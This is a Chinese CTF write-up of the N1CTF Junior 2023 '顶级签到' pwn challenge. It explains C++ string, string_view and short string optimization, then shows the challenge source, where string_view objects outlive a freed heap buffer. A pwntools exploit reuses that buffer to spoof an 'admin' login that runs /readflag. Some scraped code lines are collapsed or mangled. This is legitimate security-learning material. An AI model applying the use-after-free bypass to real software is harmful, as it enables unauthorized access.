当前位置: 首页 > news >正文

2023 N1CTF Junior pwn 顶级签到

文章目录

  • 参考
  • make_pair
  • string_view和string
      • `std::string` 的内部实现和特点
      • `std::string_view` 的内部实现和特点
      • 例子说明
  • SSO(Short String Optimization)和堆分配
  • 源码
  • 思路
  • exp

参考

https://zqy.ink/2023/05/12/dingjiqiandao/

make_pair

该函数的作用是解析用户输入的登录信息。这里使用的make_pair是C++标准库中的一个函数,用于创建一个std::pair对象。std::pair是一个模板类,可以用来同时存储两个相关的值,通常这两个值可以是不同类型。

具体到这行代码中:

return make_pair(tok_ring[0], tok_ring[1]);
  • tok_ring是一个由splitToken函数返回的std::vector<std::string_view>,其中存储了通过特定分隔符(在这个案例中是冒号:)分隔的字符串片段。tok_ring[0]代表第一个片段(通常是用户名),tok_ring[1]代表第二个片段(通常是密码)。

  • make_pair函数接收这两个字符串片段作为参数,创建一个新的std::pair对象,其中第一个元素是tok_ring[0](用户名),第二个元素是tok_ring[1](密码)。

return make_pair(tok_ring[0], tok_ring[1]);这一行的作用是将解析出来的用户名和密码打包成一个std::pair对象并作为parseUser函数的返回值。

string_view和string

std::string 的内部实现和特点

std::string是一个封装了动态数组的类,用于存储和操作字符串。它的内部结构通常包含以下组件:

  1. 字符指针:一个指向动态分配的字符数组的指针,存储字符串的实际内容。
  2. 长度:一个成员变量,记录当前字符串的实际长度(字符数量,不含末尾的空字符)。
  3. 容量:通常还有一个成员变量记录当前分配的总内存大小,以备字符串增长时使用,避免频繁的内存重新分配。
  4. 管理机制std::string负责动态内存的分配和释放,包括自动增长策略(当字符串增加时自动扩展内存容量)和深拷贝(复制或赋值时复制内容)。

std::string_view 的内部实现和特点

相比之下,std::string_view是一个轻量级的字符串视图类,它不拥有字符串的内存,而是一个对现有字符串的引用。其内部结构相对简单:

  1. 字符指针:一个指向字符串数据的const char*const CharT*指针,指向外部存储的字符串起始位置。
  2. 长度:一个成员变量,记录string_view所引用的字符串长度。

string_view的设计理念是零成本的字符串引用,它不涉及内存管理,不对字符串进行拷贝,仅提供对已存在字符串的视图。它能够提升效率,特别是在处理字符串操作频繁或需要避免不必要的字符串复制时。

例子说明

假设我们有一个函数需要统计字符串中某个字符出现的次数:

  • 使用std::string:
    cpp std::string str = "Hello, World!"; std::size_t count = std::count(str.begin(), str.end(), 'o');
    这里,即使传入的是一个临时的字符串字面量,str也会在栈上创建一个副本。

  • 使用std::string_view:
    cpp std::string_view view = "Hello, View!"; std::size_t count = std::count(view.begin(), view.end(), 'e');
    string_view`直接引用了原字符串数据,没有额外的内存分配或复制操作,效率更高。

总结,std::string提供了完全的字符串管理,包括内存分配和所有权,适合需要修改字符串或独立存储字符串数据的场景。而std::string_view作为一个高效的只读视图,适用于不需要修改字符串且希望避免拷贝开销的场合。

SSO(Short String Optimization)和堆分配

以下是一个基础的、概念性的string内部结构示意图:

template<typename CharT, typename Traits, typename Allocator>
class basic_string {
private:union {struct {// 指向堆上分配的字符串数据的指针(如果未使用SSO)CharT* ptr;// 字符串长度(不包括终止的空字符)size_t length;// 总容量(包括已使用的和未使用的,仅当在堆上分配时有意义)size_t capacity;};// 内部缓冲区,用于SSO(假设大小为N,N通常由实现决定,例如15或22)CharT small_buffer[N];};// 一个或几个比特位用于标记是否使用SSObool is_short_string : 1;// 其他成员和方法...
};

basic_string类通过一个联合体(union)来实现SSO。联合体允许同一块内存区域以不同的数据类型被解释。当字符串较短,满足SSO条件时,字符串数据直接存储在small_buffer中,此时ptrlength、和capacity字段不被使用。is_short_string标志位用来指示当前std::string对象是否使用了SSO。如果字符串超过了SSO的长度限制,ptr将指向堆上分配的字符串数据,而lengthcapacity则记录字符串的实际长度和分配的总容量。

源码

#include <iostream>
#include <string>
#include <vector>
#include <exception>
#include <string_view>
#include <unordered_map>
#include <functional>
using namespace std;string getInput()
{string res;getline(cin, res);//输入一行if (res.size() > 64)//判断sizethrow std::runtime_error("Invalid input");while (!res.empty() && res.back() == '\n')res.pop_back();//不断判断字符最后一个字符是否是\n并且判断是否为空,如果不空并且最后一个字符为\n就会pop出去return res;
}
bool allow_admin = false;
auto splitToken(string_view str, string_view delim)
{if (!allow_admin && str.find("admin") != str.npos)//find、rfind等函数,如果没有找到目标子串,这些函数就会返回npos,通知调用者没有找到匹配。throw std::invalid_argument("Access denied");vector<string_view> res;size_t prev = 0, pos = 0;do{pos = str.find(delim, prev);if (pos == std::string::npos)//没有找到分隔符{pos = str.length();}res.push_back(str.substr(prev, pos - prev));//截断从开始位置到分隔符的位置prev = pos + delim.length();//更新起始位置} while (pos < str.length() && prev < str.length());return res;
}
auto parseUser()
{auto tok_ring = splitToken(getInput(), ":");//以:分隔if (tok_ring.size() != 2)throw std::invalid_argument("Bad login token");if (tok_ring[0].size() < 4 || tok_ring[0].size() > 16)//login name的长度限制throw std::invalid_argument("Bad login name");if (tok_ring[1].size() > 32) //login password长度限制throw std::invalid_argument("Bad login password");return make_pair(tok_ring[0], tok_ring[1]);
}
const unordered_map<string_view, function<void(string_vie)w> > handle_admin = {{"admin", [](auto){system("/readflag");}},{"?", [](auto){cout << "Enjoy :)" << endl;cout << "https://www.bilibili.com/video/BV1Nx411S7VG" << endl;}}};
constexpr auto handle_guest = [](auto)
{cout << "Hello guest!" << endl;
};
int main()
{auto [username, password] = parseUser();cout << "Enter 'login' to continue, or enter 'quit' to cancel." << endl;auto choice = getInput();if (choice == "quit"){cout << "bye" << endl;return 0;}if (auto it = handle_admin.find(username); it != handle_admin.end())//根据一开始的parseUser中得到username来寻找处理函数//由于parseUser不允许admain,所以要想办法绕过{it->second(password);//寻找键,如果不是最后一个键即?就调用寻找到的键对应的函数}else{handle_guest(password);}
}

思路

  1. parseUser中使用string_view来接收getInput得到的string对象,如果string对象创建时候字符足够长,会使用堆分配来存储字符串,当parseUser结束时,string对象会调用析构函数,free掉堆,但string_view依然存储着对应在堆上的字符串指针
  2. parseUser最后得到的事两个string_view对象,并且他们的指针都是已经free掉的堆上的chunk指针
  3. 此时接下来又会getInput,此时输入内容过长也会导致在堆上分配,如果合适,那么可以和之前析构函数free掉的堆重合,进而得到修改之前堆上的内容,而string_view对象他们的指针正好是已经free掉的堆上的chunk指针
  4. 由于之前分隔parseUser,导致两个string_view对象他们的指针的位置能够指向在堆上对应的内容(username: password),所以如果此时新输入的长度和之前一样,格式和之前一样,就能保证输入的内容的username部分被识别admain,进而绕过上面的对admain的检查

exp

from pwn import *
p=process('./pwn')
p.sendline(b'aaaaa:'+b'a'*32)
p.sendlineafter(b'cancel',b'admin'+b'a'*33)
# aaaaa和admin都是五个字节,使得string_view对象保存的字符串从aaaaa识别为admin
p.interactive()

相关文章:

  • 如何从0到设计一个CRM系统
  • Docker - Kafka
  • WEB攻防-JAVAWEB项目常见漏洞
  • Python与Android连接:深入探索与实现
  • (1)svelte 教程:hello world
  • TCP的重传机制
  • Docker 简介和安装
  • WPS部分快捷操作汇总
  • 华为设备配置静态路由和默认路由
  • 2024华为OD机试真题-寻找最优的路测线路-(C++/Java/Python)-C卷D卷-200分
  • 数据结构第七章-查找(1.基础内容)
  • 文章解读与仿真程序复现思路——电力系统自动化EI\CSCD\北大核心《考虑动态定价的新能源汽车能源站优化运行》
  • 【小海实习日记】问题排查思路
  • python解决flask启动的同时启动定时任务
  • 疫情物资捐赠和分配系统的设计
  • angular学习第一篇-----环境搭建
  • Java 23种设计模式 之单例模式 7种实现方式
  • JavaScript HTML DOM
  • js作用域和this的理解
  • Laravel Mix运行时关于es2015报错解决方案
  • leetcode讲解--894. All Possible Full Binary Trees
  • Linux后台研发超实用命令总结
  • Lucene解析 - 基本概念
  • magento2项目上线注意事项
  • PHP面试之三:MySQL数据库
  • windows-nginx-https-本地配置
  • 记一次和乔布斯合作最难忘的经历
  • 简单实现一个textarea自适应高度
  • 少走弯路,给Java 1~5 年程序员的建议
  • 异步
  • 源码之下无秘密 ── 做最好的 Netty 源码分析教程
  • 追踪解析 FutureTask 源码
  • raise 与 raise ... from 的区别
  • 交换综合实验一
  • #stm32驱动外设模块总结w5500模块
  • (12)Linux 常见的三种进程状态
  • (35)远程识别(又称无人机识别)(二)
  • (k8s中)docker netty OOM问题记录
  • (附源码)springboot 校园学生兼职系统 毕业设计 742122
  • (附源码)springboot青少年公共卫生教育平台 毕业设计 643214
  • (介绍与使用)物联网NodeMCUESP8266(ESP-12F)连接新版onenet mqtt协议实现上传数据(温湿度)和下发指令(控制LED灯)
  • (免费分享)基于springboot,vue疗养中心管理系统
  • (一)C语言之入门:使用Visual Studio Community 2022运行hello world
  • (原創) 如何使用ISO C++讀寫BMP圖檔? (C/C++) (Image Processing)
  • (转)visual stdio 书签功能介绍
  • ... fatal error LINK1120:1个无法解析的外部命令 的解决办法
  • .NET 6 在已知拓扑路径的情况下使用 Dijkstra,A*算法搜索最短路径
  • .NET Core日志内容详解,详解不同日志级别的区别和有关日志记录的实用工具和第三方库详解与示例
  • .NET delegate 委托 、 Event 事件,接口回调
  • .NET LINQ 通常分 Syntax Query 和Syntax Method
  • .Net 基于MiniExcel的导入功能接口示例
  • .NET(C#) Internals: as a developer, .net framework in my eyes
  • .NET8使用VS2022打包Docker镜像
  • .NetCore项目nginx发布
  • .net对接阿里云CSB服务